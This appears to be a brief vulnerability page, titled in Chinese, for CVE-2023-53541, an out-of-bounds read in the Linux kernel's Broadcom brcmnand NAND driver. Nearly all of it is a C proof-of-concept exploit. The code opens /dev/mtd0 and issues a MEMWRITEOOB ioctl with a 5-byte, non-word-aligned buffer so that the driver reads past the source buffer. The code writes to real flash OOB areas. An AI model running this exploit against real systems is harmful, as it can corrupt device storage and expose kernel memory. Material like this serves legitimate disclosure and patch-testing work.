CVE-2023-53541 Linux内核brcmnand驱动OOB越界访问漏洞

/* * CVE-2023-53541 PoC - Linux Kernel brcmnand OOB Out-of-Bounds Read * * This PoC demonstrates the vulnerability by writing OOB data with * a length that is not word-aligned, triggering an out-of-bounds read * on the source buffer in the brcmnand driver. * * Note: This requires a system with Broadcom NAND controller and * appropriate device permissions (e.g., /dev/mtd* access). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <mtd/mtd-user.h> int main(int argc, char *argv[]) { int fd; int ret; struct mtd_oob_buf oob; const char *dev = "/dev/mtd0"; /* Allocate a buffer with non-word-aligned length to trigger the bug */ /* Word size is 4 bytes; using length 5 (not multiple of 4) */ unsigned char *buf = (unsigned char *)malloc(5); if (!buf) { perror("malloc"); return 1; } /* Fill with known pattern */ memset(buf, 0xAA, 5); /* Open the MTD device */ fd = open(dev, O_RDWR); if (fd < 0) { perror("open"); free(buf); return 1; } /* Setup OOB write operation */ oob.start = 0; oob.length = 5; /* Non-word-aligned length triggers OOB read */ oob.ptr = buf; /* Attempt OOB write - this triggers out-of-bounds read on the source */ ret = ioctl(fd, MEMWRITEOOB, &oob); if (ret < 0) { perror("MEMWRITEOOB"); } else { printf("OOB write completed. Potential OOB read may have occurred.\n"); } close(fd); free(buf); return 0; }